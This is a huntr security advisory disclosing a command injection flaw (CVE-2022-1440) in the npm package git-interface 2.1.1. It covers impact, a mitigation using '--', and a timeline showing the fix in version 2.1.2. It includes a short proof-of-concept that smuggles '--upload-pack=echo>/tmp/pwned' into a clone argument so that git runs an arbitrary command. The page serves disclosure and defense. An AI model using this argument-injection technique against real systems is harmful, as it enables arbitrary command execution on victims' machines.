huntr

Command Injection vulnerability in git-interface@2.1.1 in yarkeev/git-interface

3

✓ Valid Reported on Apr 16th 2022

Command Injection vulnerability in git-interface@2.1.1

`git-interface` describes itself as a Interface to work with a git repository in node.js
Resources:
Project's GitHub source code: https://github.com/yarkeev/git-interface
Project's npm package: https://www.npmjs.com/package/git-interface
I'm reporting an OS Command Injection vulnerability in `git-interface` npm package. The API may be abused if user input is able to provide a valid directory on disk and supply the destination directory to clone a repository too.

Proof of Concept exploit

Install `git-interface@2.1.1` which is the latest.
Run the following code, with the following precondition, in which the `/tmp/new` directory needs to exist (doesn't need to be a .git initialized directory though), and so, you could provide a predictable path like say `/usr/src` :

```
const { Git } = require('git-interface');

const git = new Git({
    dir: '/tmp/new' //default path is current directory
});

git.clone('file:///tmp/new', '--upload-pack=echo>/tmp/pwned');
```

Observe a new file created: `/tmp/pwned`

Mitigation suggestions

Chat with us

Use the shell `--` notation as a suffix of the supported command-line arguments (if at all), to then make sure that input passed to the git command is positional arguments rather than command-line arguments. For example: `git clone -- <path> <destination>` would prevent

path and destination from being interpreted as command-line arguments for the git command.

Author

Liran Tal

Impact

If both are provided by user input, then the use of a `--upload-pack` command-line argument feature of git is also supported for `git clone`, which would then allow for any operating system command to be spawned by the attacker.

References

- GitHub gist by Liran Tal

CVE
CVE-2022-1440
(Published)

Vulnerability Type
CWE-78: OS Command Injection

Severity
Critical (9.8)

Registry
Npm

Affected Version
<=2.1.1

Visibility
Public

Status
Fixed

Found by

Liran Tal
@lirantal

@lirantal

unranked

This report was seen 716 times.

We are processing your report and will contact the **yarkeev/git-interface** team within 24 hours. 7 months ago

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` 7 months ago

We have contacted a member of the **yarkeev/git-interface** team and are waiting to hear back 7 months ago

We have sent a follow up to the **yarkeev/git-interface** team. We will try again in 7 days. 7 months ago

yarkeev validated this vulnerability 7 months ago

Liran Tal has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

yarkeev marked this as fixed in **2.1.2** with commit **f828aa** 7 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

2022 © 418sec

Chat with us